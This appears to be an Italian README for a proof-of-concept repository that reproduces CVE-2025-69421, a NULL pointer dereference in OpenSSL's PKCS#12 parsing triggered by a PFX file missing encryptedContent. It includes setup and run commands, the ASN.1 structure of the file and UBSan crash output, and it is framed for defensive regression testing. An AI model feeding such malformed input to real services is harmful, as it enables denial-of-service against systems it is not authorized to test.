
Minimo riproduttore di CVE-2025-69421 che dimostra un dereferenziamento di puntatore nullo nell'elaborazione PKCS#12 di OpenSSL tramite un file PFX malformato con campo encryptedContent assente. Include script di generazione, ispezione ASN.1 e output di crash attivato da UBSan per test di regressione difensivi.
Questo repository contiene un file PKCS#12 malformato minimale che riproduce la CVE-2025-69421 in un ambiente di laboratorio isolato.
Il PFX generato contiene un EncryptedData il cui EncryptedContentInfo omette
il campo opzionale encryptedContent. Le versioni vulnerabili di OpenSSL possono passare un
puntatore ASN1_OCTET_STRING NULL da PKCS12_unpack_p7encdata() a
PKCS12_item_decrypt_d2i_ex(), che lo dereferenzia senza un controllo NULL.
Questo riproduttore dimostra solamente una condizione di denial-of-service. Non esegue codice né divulga informazioni.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Imposta la directory di build prima di eseguire il PoC:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD deve contenere la libcrypto.so.3 vulnerabile e il binario
apps/openssl corrispondente.
Un file pre-generato è incluso. Per ricrearlo:
python3 generate.py
L'output è:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
La struttura rilevante è:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
Utilizzando lo script di supporto:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
Comando manuale equivalente:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
Gli indicatori importanti sono:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
Una build corretta di OpenSSL dovrebbe rifiutare l'input malformato senza che il sanitizer trovi nulla o che il processo vada in crash. L'errore può includere:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
Utilizza questo riproduttore solo su sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a effettuare test. L'artefatto incluso è destinato alla validazione difensiva e ai test di regressione.